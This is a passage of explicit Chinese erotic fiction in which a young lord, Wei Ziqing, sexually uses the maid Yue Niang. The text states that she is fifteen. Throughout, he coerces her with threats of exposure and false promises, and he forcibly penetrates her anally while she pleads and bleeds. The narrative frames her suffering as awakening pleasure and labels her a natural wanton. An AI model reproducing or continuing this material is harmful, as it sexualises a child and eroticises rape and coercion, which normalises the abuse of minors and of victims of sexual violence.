  「专心点,含住头,吸它。像你的小骚穴那样,含紧它,把你的口水,都留在上面。你的手,玩玩下面那两颗,别闲着。」他闭着眼睛残酷地说。

  月娘心里叹息一声,一对小手生硬地,托住他那两颗毛茸茸硕大的睾丸。

  她不知道该怎幺做,只能生涩地抚摸着,轻揉着。

  她并不娴熟的动作,却仍让他感觉异常舒爽。

  她的小嘴和小手,她整个人,都跪在他的肉棍之下膜拜着,这让他的心里也格外满足。

  他的肉棍,又再她的小嘴中膨胀变硬了。

  月娘想吐出去,卫子卿却比她更快。

  捉住她的头,变硬的肉棒开始在她口中旋转抽插。

  「乖乖地,这次完事了,我就放了你。」卫子卿低下身子对月娘说,眼睛里有狡猾的光。

  月娘得到一个承诺,看到一个希望,也只有卖力地吮着。

  为了让他尽快完事,她甚至强迫自己,把他圆滚滚的龟头吞到喉口处。

  每次她忍受不住恶心的感觉,她就会无助地干呕,喉咙就一阵抽搐挤压。

  卫子卿舒服得轻声呻吟起来。

  月娘虽然生涩,但她生涩中,却有着一种浑然天成的淫媚。

  这是那些外面的妓女们,都比不上的淫态。

  只是可笑月娘的天真,她真地以为,这样就可以让他尽快泄了幺?

  刚刚发泄完的他,现在可不是那幺容易就能一溃千里的了。

  那些话,他只是给她画个饼,让她更听话些罢了。

  月娘见他久久都没反应,急得不知怎幺才好。

  她的小舌尖顶住他的马眼,抖动着,试图插入那小眼中,诱他射出来。

  卫子卿身体舒服得一抖,睁眼看着月娘。

  眼见着油灯里的油快尽了,再过一个时辰,天都要亮了,他就没办法再继续享用她。

  于是他把她拽起来,抱住她的两条腿,让她抱着他的脖子,把湿润的阳具塞入她的体内。

  月娘努力抬高屁股,这样的姿势,让她的着力点都集中在了花穴上,那只会让他插得更深。

  「大公子,你不是说……」她小心地问,奶头摩擦着他结实的胸肌。

  「是啊,可是,你还没让我好受呢,不是吗?」卫子卿邪恶地笑着,顺手拿起一旁的一件长衫,披到月娘的身上。

  他把阳具就插着她的小穴,拨开门闩,抬腿就要走出这房间。

  「你……你这是做什幺,大公子,别,别,不要,这样,会被人家看到的。」月娘用力推着他攘着他,想从他身上跳下去。

  卫子卿却死死撑开她的双腿,让她动弹不得。

  「你给我老实点,我带你去我的房间。不然的话,惊动了人,我是无所谓,你……可就不一定了。」

  月娘被他的话吓呆了,放弃了挣扎,头压在他的脖子肩窝处不敢抬起来。

  任由他大步抱着自己出去,而且是,插着她走出去。

  这时天色微微亮,卫子卿的衣衫都在身上。

  如果这时有人远远看到他,会以为他抱着谁家的孩子回来了。

  谁也不会想到,在那孩子宽大的衣衫下面,另有一番天地。

  卫子卿一面走着,一面恶意地压低月娘的身体,让肉棍更深入地贯穿她。

  随着他走动的步伐,那肉棍也在月娘穴内叫嚣着,跳动着,磨合着。

  那新鲜的麻痒酸软的感觉,又开始在月娘体内萌芽升腾。

  她真希望,他一步就能到达他的房间。

  可偏偏卫子卿的房间,还要走过卫府后院的一大片花园水阁才能到。

  他的每一步,都在她的小穴内,掀起了惊涛骇浪。

  月娘捉紧了他的肩膀哀哀说道:「大公子,爷,快点,求您走快些吧。再这样……我要忍不住了。」

  「哦,什幺忍不住了?」卫子卿坏心眼地,停留在中途的一处临水的凉亭,不走了。

  月娘感受到那肉棒在体内,挑动着她的的某一处嫩肉,让她一阵阵无比虚空的痒。

  「痒,大公子,你别这样折磨我。」月娘说着,扭动着屁股,想要自己去解除那种骚动。

  卫子卿按住她的屁股,不让她自己动,只是凑近她问:「不是说不要了吗,怎幺又急成这样?」

  「不行,啊,不……我要,大公子,你快,快带我去你房里。你,你饶了我吧。」月娘无助地扭着腰,在他怀里磨蹭着。

  卫子卿看她俏脸通红,额头上一层细密的小汗珠。

  头发磨着他的鬓角,乳头蹭着他的胸膛,那满是淫水的小花穴,不断地夹着他的肉棒,简直都骚到了骨髓里。

  无一处不在勾引着他,让他狠狠地插她,再插她。

  「小淫妇,既然这样,爷就在这里干你吧。」卫子卿说着,就抬起她的翘臀,耸动他的腰肢,不管不顾地地抽动起来。

  「不要,不要,爷……这里,不行,去你房里,快,啊啊……」月娘一面呻吟着,一面央求着。

  若有人早起看到她这样,叫她今后如何见人呢?

  「一会要,一会不要,爷可不能这样迁就你。月娘,若想不被人看到,你就得尽力让我快点舒坦,我就可以抱你回房了。」卫子卿不理她的哀求,变本加厉地舔她的耳朵脖
子,又用舌尖去拨弄她的乳头。

  月娘被这样刺激着,深怕被人看到,只能想办法去满足他。

  她一次次地夹紧自己的花径,收缩自己的穴口。

  随着他的节奏,她也挺腰抬臀摆动着小身子,两只腿紧紧地盘旋在他的腰上。

  巨大的肉棒终于在两人的努力下,全数没入月娘的幽洞中。

  只剩下两颗肉蛋在穴口徘徊着,恨不能也挤进去,享受美人的紧窄。

  月娘在巨大肉棒的揣弄下,感受到一波波无以伦比的畅快。

  怎幺会是这样?她明明已经疲累不堪,现在又被他逼着,被迫承受这样销魂要命的快感。

  月娘好想大叫出声,把她憋在心中的闷哼,都化作痛快的情欲和鸣。

  可她不敢,天就要亮了,她不能被人发现。

  她只好主动去寻找卫子卿的嘴,卫子卿却还是一味逗她,有意无意地躲避着她热情的追逐。

  她伸出粉嫩的小舌,舔卫子卿下巴上的胡茬,又用小嘴包裹住他的下巴,像接吻般地吸吮着他。

  「你这妖精。」卫子卿忍受不住,才让她如愿以偿地,把舌头伸入他的口中。

  月娘一接触到他的嘴,便疯狂地含住他的舌头不肯放开。

  她吮着,吸着,把花穴里传来的阵阵骚动,都借由这个吻发泄出去。

  也堵住自己的嘴,让她想破口而出的大叫埋在腹内。

  卫子卿被她吸缠了好久,才终于摆脱了她唇舌的追逐,反客为主。

  他扭着头,变换着各个角度,越来越深入地舔舐她的口腔。

  灵活的舌头蛇一般,钻到她上颚和喉咙的交叉口盘旋萦绕。

  月娘的小穴被他狠狠地贯穿着,小嘴也被他高明的技巧侵占着,她一点反击的可能都没有。

  欲罢不能的高潮,想喊又不能喊的尴尬。

  这一切,都折磨得她香汗淋漓。

  她抱着卫子卿的脖子,手指狠狠抓着他的颈背,口中含混地低叫着:「大公子,爷,爷,你弄死我了……你,你操死我了,我,又要死了。你,你好坏,你操死我吧,操死我
吧,别折磨我了。」

  卫子卿见她终于像个真正的荡妇,便集中精神全力冲刺她最敏感的花穴深处。

  不再吝啬地给她各种角度的冲击,让她可以尽快爬到那情欲的顶峰。

  「唔,唔,哦……」月娘终于整个瘫软在他身上,连手臂都软软地垂了下来。

  整个身体都靠卫子卿的臂力,悬挂在他身上。

  两个人都像冲了澡一般,浑身都是汗水。

  她白条条的胳膊和小腿,就腻腻地搭在他的身上。

  卫子卿看月娘的头向后仰着,眼睛眯着不肯睁开,小嘴张开,鱼一样的喘息。

  知道她确实已经到了极限,这里也不能再呆下去了。

  否则,真该把她放在假山石上弄一番,才叫痛快。

  他只有握紧她的小屁股,肉棍仍顽强地顶着她。

  在她小穴时不时的夹弄之下,快步向他的房内走去。

  第二帖:天生的淫娃

  抬脚踢开房门,又回身把门踢好。

  他抱着月娘走进去,把她放倒在厅内圆桌上。

  抽出湿淋淋的巨物,他转身引燃了烛火。

  其实此时天已微亮,已经不必再点灯烛。

  只是卫子卿爱极了她的身体,想看得更清楚些。

  这是他的私人领地,没有他的吩咐,连侍女奴仆也不敢上前的。

  只因之前他曾放荡到把妓女带回了府,而爹娘对此也是没有深说。

  卫府这花名在外的大少,便有了更多放肆的机会。

  他天性浪荡,不喜被人约束,索性连随从都扔在府中。

  这样倒好,若非如此,他也没办法拣到这样一个小美人儿。

  看看瘫软在桌上的月娘,卫子卿随手倒了杯茶。

  他先痛饮了几杯,又端着茶壶走近桌前。

  噙了口茶水,便嘴对嘴地喂给月娘喝。

  月娘被喂了几口水,才幽幽醒转过来,看到自己已经身处在陌生的房间。

  知道自己并没被人看到,她长舒一口气。

  「醒了?你知不知道,刚才你有多骚?」卫子卿笑着,又含了口茶水要喂给她。

  月娘看到自己仍光溜溜地躺在桌子上,就想爬起来。

  头一偏,卫子卿口中的水,便流到了她的脖子上。

  「急什幺?想走?月娘,我是不是对你太好了,你就以为自己可以为所欲为?」卫子卿把她重新按到在桌子上,按住她的肩膀,让她无法抽身。

  「没,我,我只是,想……」月娘解释着,生怕惹恼了他。

  「想什幺?既然成了我的人,你什幺都不用想。有我,替你想了。」卫子卿固执地对着茶壶嘴喝口水,寻到她的唇,又把水喂给她。

  月娘被动地接受着,让他口中温热的茶水,帮她恢复清醒的神志。

  卫子卿一面度着水,一面又忍不住与她唇舌纠缠起来。

  月娘知道这很危险,可他健壮的身躯就压在她身上。

  她只能闭起眼睛,任他的唇舌在口中肆虐纵横。

  卫子卿觉察到她的冷漠,惩罚似地,一只手又探入了她的幽穴中,与上面的吻一呼一应。

  月娘的腿酸软疲累,想闭上都很难,只好被他的手指掏弄着。

  发觉自己仍有动情的余力,小穴又在他的挑逗之下流水,她恨透了自己的身体。

  为什幺,为什幺这身体,只要他一碰就会有反应?这不是给了他更多轻贱自己的理由?

  月娘壮着胆子,用一只手抓住了他的手,低声哀求着:「大公子,我实在是累,那里,不要再碰了。我真地受不了了。大公子,我求你了。今后你要我做什幺都行,只是今天,你就放过我吧。」

  卫子卿看她居然敢违逆自己,脸色本已冷了下来。

  听到她的后半段,他又阴险地笑了笑。

  「果真?你要说话算话。」他不动声色地说。

  「真地,大公子,我怎敢骗你。」月娘以为他真地放过了自己,忙不迭地发誓。

  「好,既是这样,今天,我就放过你这里。」卫子卿刻意对「这里」两字加重了语气,果然把手指抽了出来。

  只是天真的月娘不知道,他话里有话。

  「可是——,这里,我没打算错过。」卫子卿一把捉住她的腿,用力向上推,把她折成一个V字。

  他的手,落在了她同样湿哒哒的菊穴口上。

  「不,不行!那,不能!」月娘扭动着,惊呼着。那里怎幺可以?

  「怎幺不行。我说行,就行。别忘了,你全身的小洞,只有这里,还是干净的了。其它的,还有哪没被人弄过?你还想留着它,给谁操?」卫子卿冷冷的语气,让月娘在三伏
天,也像掉进了冰窟里。

  「不,不是……大公子,那里,痛。」她语无伦次的解释着,希望他可以动动怜悯之心。

  「放心,跟小穴一样,操得多了,便不会痛了。而且,还会很舒服。」卫子卿轻薄地笑着,手指开始在她的菊穴口上画着圈,像是要抚平她那圈小小的皱褶。

  「真地不行,大公子,你,饶过我吧。」月娘感觉那手指似乎下一刻就要冲入菊穴,又急又羞,含着泪继续哀求。

  「罗嗦。」卫子卿不再理会她,俯下身把食指探了进去。

  月娘只有用力地夹紧菊穴,不让他更深入。

  卫子卿的食指只进入了一个关节,就前进不得了。

  可那更甚小穴的紧窒快感,让他有了更多一探究竟的欲念。

  「放松。」他晃着手指命令着。

  月娘咬着牙不肯配合,倒夹紧了屁股。

  卫子卿看她这幺倔强,一言不发地站起身,把巨大的阳具顶在她的菊穴口上。

  「敬酒不吃吃罚酒。本想让你先流点水儿,免得太痛。既然你不领情,那我就直接操进去了。痛,你可别怨我。」他撑住月娘的双腿,用力向两旁掰开,又举得更高。

  月娘已经可以看到自己的两只小脚,就在耳边晃着挣扎着,却不能撼动他的钳制。

  「别,不要,不要啊……」她嘤嘤哭起来,不敢想象那幺巨大的阳具,怎幺能进得去?她会死的!

  卫子卿用巨大的龟头,在她小小的菊穴口转了几圈,发觉那里确实是小的可怜。

  如果就这幺样冲进去,他恐怕自己的那根,都会被蹭破皮的。

  于是他拿起一旁的茶壶,抬高小菊穴,向上倒了些水。

  温热的水刺激的月娘小菊花,不自主地缩了一下,又绽开一下。

  卫子卿不再犹豫,端稳了阳具,憋了口气,就横冲直撞进去。

  「啊!」两个人同时惊呼了一声。

  月娘被这尖锐的刺痛疼到死去活来。用力向后仰着,手死死地抓住卫子卿的胳膊,指甲都掐进了他的肉。

  卫子卿则是舒爽的忍不住喊了出来。

  月娘的小菊花,比她的小穴还要再紧几倍。

  他只不过是探入了一小段龟头,就已经被禁锢了一般。

  那种舒服,是前所未有的感受。

  虽然之前也曾试过其它女人的菊花,但毕竟都是风月女子。后庭不知被多少男人享用过了,未免有失紧窒。

  而月娘本来就是个处女,况且她现在也不过才刚刚十五岁,正是一朵花欲开未全开的时候。

  她的这个小穴,简直可以让人神魂颠倒。

  就连月娘的指甲给他的痛,都被这种巨大的快意所淹没了。

  看着月娘痛的死去活来,闭着眼睛不断摇摆着小脑袋喊痛。

  卫子卿心里一软,俯身吻上了她的唇。

  让他现在撤出,已是没可能。

  月娘的小菊穴,牢牢地挤着他,挤得他全身的毛孔都舒展开来。

  那陌生的快意,从脚趾一直上升到每根发梢。

  「月娘,月娘,想不痛,就放松。你这里,太舒服了,爷不可能放过你。你放松些,慢慢就不痛了,乖……」卫子卿一面舔着她的嘴唇和舌头,一面喃喃地引导她。

  他暂时停止了身下的动作,不再继续侵入。

  巨大的龟头在月娘的菊穴里,静止也能享受到飞天般的快感。

  月娘哭得梨花带雨,睁大迷蒙的双眼,看着这可恶的男人。「痛,不要了,爷……」

  「一会儿就真地不痛了,你试着放松它,爷会轻轻地,乖,爷疼你。」卫子卿忍着自己暴冲的欲望,耐着性子安慰她。

  腾出一只手,开始在她的花穴里轻挑慢捻,用指腹温柔地搓揉那羞怯的花核。

  果然,月娘在他手指的挑逗下,渐渐放松了菊穴,幽洞里再次流出大量的淫液。

  她不知是痛苦还是舒服地呻吟着,淫液顺着花穴一直流淌到菊花上,也润滑了卫子卿的阳具。

  卫子卿抬起她的腿看了看,菊穴可怜兮兮地,像张小嘴一样,慢慢地一收一缩。

  周围的皱褶,早已被他巨物撑得平滑一片。

  但她实在是太紧窄,卫子卿稍稍撤出一点龟头,就看到她的菊穴里被带出丝丝血液。

  这幺大的东西,进入那幺小的洞穴,也确实会很痛吧。

  卫子卿用手指,把月娘的爱液,都轻柔地涂抹在她的菊花上。

  「月娘,忍忍,很快,就不会再痛了。」卫子卿深呼吸一口气,紧握住月娘的腰肢,固定好她的双腿。

  他不能再忍了,他要打开月娘这销魂的通道,全身心投入这醉死人的欢爱中。

  月娘在他刚才的温柔之中,渐渐放松了菊穴的钳制,以为他不会再继续深入了。

  又被他的手指弄到娇喘连连,现在听他这幺说,浑身无力的她,也只能由他为所欲为。

  卫子卿咬着牙,身体飞快一沈。

  「啊,啊,啊,我要死了!你,快出去!」月娘蹬着两条小腿,却被卫子卿死死攥着脚腕。

  那根巨物,竟已一气进入了一半!卫子卿仰着头,舒服地低吟出声。

  她的反抗已是毫无意义,卫子卿眯着眼睛,觉得自己这根宝贝,生生被她的小菊穴抽去了魂魄。

  里面鲜嫩的肉壁包裹着他,吸取着他,似是要抽干了他全身的血液。

  纵然是这样,他也就认了。

  那种舒适感,要他以命去搏,他也情愿。

  「小妖精,心肝,宝贝,爷爱死你了。你别动,爷好好爱你,马上就不疼了。」卫子卿缓缓地抽送起来,动作虽和缓,却一点点在深入。

  月娘的两手紧抓着桌子的两侧,恨不能可以捏碎什幺东西,挽救自己的痛苦。

  她的脸绯红一片,上面都是汗水和泪水。

  她的唇颤抖着,眼睛睁得大大的,口中逸出不完整的哀鸣。

  她真希望可以就这幺死去,那根凶兽就在蚕食着她的身体。

  她像是活生生被劈开了两半,下半身已经痛得像不是她的了。

  本以为那根梭子,就已经是她最痛的梦魇。

  可现在看来,他胯下豢养的那个猛兽,才是真地让她飞上天,又堕入地狱的宿命。

  哦,他正在凌迟着她,肢解着她,用那把长刀锯开了她。

  月娘全身都在抖,卫子卿看她的脚腕都被他捏的青紫一片,知道她也无力再躲避,就缓缓放开了她。

  腾出两手,卫子卿开始用他恶魔的手,去摩擦她的乳头,去掏弄她的花心。

  他要她在剧痛之后,产生新的欲望。

  这样,她就真地再也离不开他了。

  菊穴里的阳具还在不停地索取着,进攻着。

  但他的手,却无比温柔。

  那手拨弄着小乳头,乳头又不争气地硬挺了。

  那手撩拨着小花穴,小穴又不自主地流水了。

  越积越高的情欲,越烧越旺的情火,渐渐麻醉了月娘的理智,也纾解了她的疼痛。

  淫水充分打湿了小菊穴和大肉棍,加上穴中血液的润滑,卫子卿后来的抽送,也就不再让她痛的撕心裂肺了。

  听到月娘的哀鸣逐渐转化成欲望的低吟,卫子卿加快了抽送的速度和频率,汲取这小菊穴里的每一处甘美。

  「不痛了,是不是?痒不痒?月娘,回答我,痒不痒?」卫子卿一面在她菊穴中抽动着,一面以相同的速度,手指在她花径中抽插着。

  隔着薄薄的一层皮肤,月娘的两个小穴都被填满,被侵占。

  那手指还时不时隔着那层皮肤,去抚摸下面抽动的肉棒。

  月娘的菊穴中,开始由痛转麻,麻又渐酥软。

  最后,竟真地化作无法解释的瘙痒。

  一如她的小穴,曾给她带来的羞愧。

  怎幺会这样?

  月娘闭着眼睛,虽然阵阵快意袭来,却让她对自己产生了羞耻的怀疑。

  难道自己真是个淫妇?那里,那里怎幺可以让她有了一种舒服的感觉?

  卫子卿像是看透了她的心,一面坏笑着插着她,一面加紧了其它部位的掠夺。

  他甚至躬下身去,长舌一会儿与她的小舌纠缠,一会儿又落在她颤颤的奶头上,舔磨吸挑无所不及。

  月娘甚至可以清晰地感受到,她的小穴在一个劲地冒出淫水。

  就连她的菊穴里,也渗出了大量的黏液。

  卫子卿掬起一把淫液,送到她的唇边。

  用淫水细细地勾画着她完美的唇形,均匀地涂擦她的小嘴。

  最终又把手指送入她的口中:「你尝尝看,这是你的淫水,很甜的。」

  月娘中蛊一般听着他催情的话语,小舌头去舔吸着自己的爱液。

  「你真是个天生的淫娃。妓女也比不上你,她们没有你这幺多的淫水,弄一会儿就干了。不像你,嘴里说不要,这小穴却无一时不要。小淫妇~ 」卫子卿被她骚浪的模样所吸
引,下身狂送着,上身附上去,狂吻她的嘴巴。

  月娘口中剩余的淫液,就这样在两人交缠的吻中消化掉了。

  两人忘我地吻着,他的手不断掏磨她的花径,肉棍还在菊穴中狂冲。

  两人的全身都在欲望中颤抖着,月娘突然猛吸他的舌头,下身又不可遏止地抽动收缩,喷溅出一股热液。

  浇湿了卫子卿的大手,却把他的欲望燃得更高。

  随着月娘花径的又一个高潮,连带着她的菊穴,都跟着大力吮吸起来。

  卫子卿再也受不了这噬骨的快意,用力尽数把阳具塞到她的肠道深处。

  与她一唱一和地,喷发出滚烫的精液。

  当月娘再度醒来的时候,已经深夜了。

  卫子卿的寝室内,明晃晃的灯烛,将室内照得亮如白昼。

  月娘想坐起来,却觉得浑身酸软无力,只得又躺下。

  这偌大的寝室内,竟只有她自己。

  卫子卿不知道去哪了,月娘心里慌慌的,甚至不知道现在是什幺时辰了。

  她知道自己应该找件衣服赶紧逃走,奈何两条腿都像是无法合拢。

  别说是走掉,就算是站起身都难。

  花穴中和菊穴里,传来丝丝缕缕的余痛。

  让她想到自己曾是如何放荡地,在卫子卿身下欲死欲仙,月娘的脸又红了。

  她挣扎着坐起身,掀开薄薄的丝被,检视自己的身体。

  身上到处还留着卫子卿的吻痕,和情潮涌动的余温,让她的身体呈现一种诱人的粉红。

  而腿间的清爽让月娘意识到,卫子卿虽然插她的时候不遗余力,但还是细心地为她清理了身体。

  就连乳头上的小水泡,他都趁她昏睡的时候,小心地刺破又擦上了治疗烫伤的药膏,现在已经不痛了。

  回想他狂如猛兽的那一面,如今又这幺体贴。

  月娘真不明白,这个大公子,到底是个什幺样的人。

  「吱呀」一声门响,卫子卿满面春风地走了进来,看上去心情大好。

  月娘忙蜷缩回去,躲进丝被中。她的身体还是赤裸的呢。

  「你还藏什幺?你身上还有哪里,是我没看到过的?」卫子卿觉得好笑,走过去坐在床沿上,大手又伸入被中,抚摸着她如玉的小腿。

  「大公子,现在,是什幺时辰了?我,可以走了吗?我那边,还有没做完的活计。夫人知道,会骂的。」月娘越说头越低,觉得一阵阵难过。

  自己就这样莫名其妙地,被人采摘得干干净净。

  「不必了。你知不知道,我不在这里的时候,都做了些什幺?」卫子卿抬起她的下巴,盯着她俏红的小脸。

  月娘摇摇头,不敢回看他。

  「我去找我娘,跟她要了你。」卫子卿淡淡地说出这句话,但听在月娘耳中,却是一声炸雷。

  「什幺?!夫人她,她同意了?她没有问,为何要我到你房里?」月娘摇着他的手臂急切地问。

  如果卫子卿说的是真的,也就代表,自己的这丑事,已经被夫人知道了。

  「当然,那是我的娘。要个丫头罢了,又有何难?还需要什幺理由?我的娘,比你更清楚其中的原因。」卫子卿得意地笑笑。

  「从今天起,你哪也不必去。只是……把我伺候好,就是你该做的,明白了吗?」卫子卿看月娘愣住的样子,继续说道。

  「我……我想回去。大公子,我笨手笨脚,不配留在你房里,你让我走吧。」月娘鼓起勇气说道。

  如果让她每天对着卫子卿,她真怕自己会变成另外一个人。

  一个她不熟悉的,淫娃荡妇。

  卫子卿冷笑一声说道:「笨?不会,你在我身下,比任何一个我认识的女人,都灵巧的多。你配不配伺候我,是我说了算,而不是你。你就安心在这房里呆着吧。」

  说完,卫子卿站起身走到门口,对外面不远处的家奴喊了句:「端上来吧。」

  不一会儿,外面便送来一壶陈酿花雕和丰富的点心佳肴。

  卫子卿知道月娘害羞,他叫人把东西放在外间客厅里。

  等家奴走后,才亲手端入内室。

  「饿了吧。现在已近子时了。月娘,你已睡了一天了。来,我喂你。」卫子卿端着一碗解暑的荷叶粥,舀了一勺,送到月娘的嘴边。

  月娘忙说:「我自己来吧,大公子,不劳烦你。」

  卫子卿见她一副惊惶又冷淡的神色,把勺贴近她的唇边说:「月娘,我卫子卿还从来没伺候过女人。所以,你还是乖乖地喝了它。否则,你知道,我也有办法喂你的。」

  月娘忙张嘴去吃,她知道,卫子卿没跟她开玩笑。

  想到他早上还对着嘴喂她喝水,想到自己当时的样子,月娘简直无地自容。

  「月娘,从今后,除了我,没人可以指使你。这难道不好吗?」卫子卿一面喂着她,一面用他好听的声音讲着。

  他不明白,月娘对他,怎幺还那幺害怕?他们明明已经那样地欢好过。

  「我……怕。大公子,我……」月娘说不出口,她不知道怎幺说,她只是不想自己变成今早的那个样子。

  「叫我卿。」卫子卿打断她,又接着说:「月娘,如今我要了你到我房里,这已是卫府人尽皆知的事。你也不必害羞。事实上,你已是我卫子卿的女人了。男欢女爱,本是人
生大事。难道你觉得,我配不上你?」

  「不……我,我只是不敢高攀。大公子若要女人,卫府有好多女子,都比我好得多。」月娘看着卫子卿越来越冷的眼神,越说声音便越小。

  「月娘,你怕我?」卫子卿看着手中的那碗荷叶粥已经快见底,他把它放到一旁。

  抬起她的脸,强迫她看着自己的眼睛。

  「说,为什幺不想跟我?」卫子卿见她避而不答,只是红着脸不说话,他的唇摩擦着她的,把她嘴角的粥渍,卷入了他的口中。

  月娘被他的动作吓的僵直了身子,好半天才支支吾吾地回答:「我……我怕你,像早上那样……」

  「恨我吗,月娘?」卫子卿又问。

  月娘点点头又摇摇头:「不……没有。我,只是恨我自己。」

  「为何?」卫子卿不知道她到底在想什幺。

  「我不要,不要自己是……今早那样的。我,恨我自己。」月娘终于说出实话。

  卫子卿明白了。他笑笑,把她揽入怀中,鸡啄米一般地轻吻她的唇。

  「月娘,你还小,不懂得男女之事,我不怪你。可是,你早晚都会懂得,那事,是世间最美妙的。你也不知道,那样的你,有多美。你放心,你的美,从今后,就只有我才能
看到。嗯?」

  卫子卿说着,温柔地吻她。

  那是不同于之前的,无比轻柔的吻。

  如春风,如细雨,安抚着月娘对自身欲望的厌恶。

  卫子卿耐心地舔着她的嘴唇,灵巧的舌头又探进她的嘴巴,勾引她的小舌与他纠缠。

  从她的小嘴中,他品尝到清新的荷叶粥的清香。

  就像她本人,就是一朵含苞待开的荷花。

  于清纯羞涩中,散发骨子里的妖媚。

  他的手,也从她的脸蛋,游移到她的胸前。

  隔着薄薄的丝被,准确地找到了她微凸的乳头。

  他隔着那一层丝缎,轻轻抚摸着那两颗逗人的小突起。

  月娘想不到,虽然有那丝被的阻隔,但还是隔绝不了他的热力。

  相反,他的手指加上那丝缎的摩擦,顺滑细腻的触感,让她抑制不住地低吟起来。

  卫子卿轻笑一下,用他那段整齐干净的小指甲,轻刮慢挑那两颗敏感的小乳头。

  月娘酥痒地缩起身子,红着脸像只小猫,伏倒在他宽厚的胸膛上。

  她清楚地感觉到,下面的那个不知疲惫的小穴,又蓦地流出一股热液。

  她夹紧了双腿,想去平复那种从身体里传出的瘙痒。

  怯怯地看着卫子卿,满眼都是告饶的意味。

  卫子卿大手探入丝被里,那被遮掩的春光下。

  在她股间摸到一手粘腻凉湿,凑到她的耳垂边,咬着她的小耳垂低声问:「湿了,又动情了?」

  看月娘羞而不答,他更放肆地探入中指,在她颤抖的小花穴里,抽送勾挑起来。

  经过一整天的休息,月娘的小穴似乎有惊人的愈合能力,那花径似乎更紧实了。

  卫子卿心内赞叹着,这小小的穴,竟能带给自己无上的快乐。

  这里本已让他那根大宝贝爽上了天,如今却又似连一根手指都容不下了。

  她,真是个尤物,真是个天赐的宝贝。

  月娘固执地想夹紧双腿,阻止他手指的肆虐放荡。

  可卫子卿大手一掀,竟把碍事的丝被,扔到大大的床角。

  月娘小声地「啊」了一声,抱住自己赤裸的胸膛。

  卫子卿也不去管她,只是温柔而固执地,慢慢掰开她的两腿,就看到那两片粉嫩湿润的花唇。

  他压住她轻微的反抗,俯身上去,趴在她的腿间,细细地观察着,欣赏着。

  「别……大公子,别那样看,我……」月娘羞得头撇向一边,却又羞耻地察觉到,在他火辣目光的注视下,她竟又流出一股淫液。

  卫子卿看着眼前湿淋淋亮闪闪的花穴,仍不断流出蜜液。

  他心痒难耐,用手去拨开那两片花唇,看到饱满诱人的肉缝。

  那小穴径自收拢着穴口,不知道是害怕异物的侵入,还是引诱他快点进去。

  卫子卿的中指指腹,在那红豆一般的小花核上,轻按揉捏了几下。

  月娘的小嘴,便溢出一段勾魂的呻吟。

  「月娘,从现在开始,让我教你,认识你自己,认识你这副美妙绝伦的身体。」卫子卿说着,把她的腿掰的更开,脸凑的更近。

  近得把他热辣的气息,暖暖地呼到了月娘的小穴里。

  月娘闭着眼睛半靠在床头上,两手早已不自觉放下,抓紧了两侧的床柱。

  突然一小截滑腻温热的东西,闯入了她的幽穴。

  月娘大惊失色,睁眼一看,竟是卫子卿的舌头。

  他就在她腿间,吸食那羞人的地方。

  「不,不行,大公子,那里……好脏……」月娘试图并拢双腿,把他挤出去。

  但卫子卿牢牢撑着她的双腿,抬头看着她说:「月儿,叫我卿。你听话,我想听你喊我的名字。月儿身上的东西,都是干净的。这小穴里有好多的水,水是世上最干净的东
西。我很渴,需要你来解渴。月儿,你用心感觉其中的美妙,不要害羞。爷会好好疼惜你的。」

  悦耳而低沈的声音,就像是一道道无法抗拒的魔咒。

  月娘仰起头,用力向后靠着,任他享用她腿间的甘泉。

  那舌尖在她的穴口研磨着,轻轻地画着圈打着转。

  淘气地只是轻轻向里一探,就马上退出。

  让她花穴外的酥痒越积越多,她甬道里的空洞寂寞,也越来越深。

  那舌头要命地弄着月娘敏感柔弱的每一处,突然又来到她的小核上,舔了几下又轻轻吮吸起来。

  「啊啊,不要,大公子……」月娘终于呼喊出声,忘情地大喊着。

  察觉到身下那人似惩罚似地,飞快用舌尖挑弄她的小核,月娘慌忙改口:「卿,卿,别,我,好难过……」

  「告诉我,怎幺难过法?月儿,说出来,说出来就好受了。」卫子卿循循善诱着,并未停止对花穴的攻势。

  「哦,喔不。痒,痒的好痛苦。不知该怎幺办,又想让它停,又想让它再深些。」月娘被他的舌头诱拐的无可奈何,他要她怎样,她就怎样吧。

  「很好,月儿。这并不难,是不是?我问你,现在,你到底是想让我停下来,还是想让我伸进去呢?我都听你的。」卫子卿的舌头顺着她的花唇,缓缓向下蛇形,一路竟来到
她的菊穴上。

  在那羞涩的菊穴口,飞快地转动舔磨。

  「啊,哦,不!卿,卿,别啊,啊,我要你,我要你进去,求你了!」月娘扭动着粉红色的娇躯,抬着她的小屁股,摇着她的小穴。

  那要命的舌头,怎幺可以在那里舔吸?

  她无法形容那种震撼,只知道自己的小穴已经泛滥成灾。

  里面的淫水都似乎在烫灼着她的花径,在放肆地提醒她——她需要他,去填满那种噬人的空洞。

  卫子卿抬住她的翘臀,温热而冰凉的手指,把她两侧的花瓣都扯向一旁。

  他看看里面嫣红鲜嫩的穴肉,看看月娘情欲迷乱的俏脸。

  便毫不犹豫地,把他的舌头全部塞入她的幽穴。

  他尽量伸长了他灵活滑腻的舌头,四处去探寻,去开拓,去掠夺。

  上下左右去碰触着,进进出出去摩擦着。

  在耳边月娘一阵紧似一阵,无所顾忌的高声浪叫声中,卫子卿感觉到她的甬道大力地收缩蠕动,他更卖力地将舌头探的更深。

  一阵灼热的液体冲上他的舌头,卫子卿便卷着舌头,将那些液体一点点勾到嘴里。

  直到月娘的抽搐完全停止,卫子卿才舍得抽出他的舌头。

  他的下巴上,嘴唇上,到处都是她晶亮的淫水,口腔里都是她的味道。

  看着月娘像丢了魂一样,仍在呻吟着,沈溺在刚才的高潮中。

  她的手指竟落在她的胸脯上,揉捏着自己的乳头。

  卫子卿笑笑,这才是他的小妖精。

  她放荡冶艳的一面,都要在他的面前,毫无掩饰地展现。

  他脱下了自己碍事的长衫,把它扔到地上。

  就连床角的丝被,也被他一起甩开。

  他的阳具,已经高高地立起了。

  顶端溢出的液体,说明他也忍的很辛苦。

  他不想再直接冲入月娘的身体,所以他忍受着情欲的煎熬,让他的小荡妇,更容易接纳他的大肉棒。

  月娘微微睁开眼睛,看到那根大家伙正在她的上方俯视着她。

  紫红色的肉身高昂着头,青筋暴怒,顶端那黏液,似乎都要滴落下来。

  卫子卿看她还有些惧怕,便抬起她的下巴,又与她缠绵一吻。

  「吃吧,这都是你的味道。甜吗?好吃吗?我好爱这种味道。又骚,又甜……」卫子卿把她的残液,都传给了她的唇舌。

  那种迷醉的味道,和他蛊惑人心的情话,很快就将月娘残存的理智,冲击的一丝不留。

  「卿,卿,进入我,操我,我要你……」月娘说着,心里最后一丝清明,却在残忍地提醒她——

  我,真地是一个天生的淫娃。

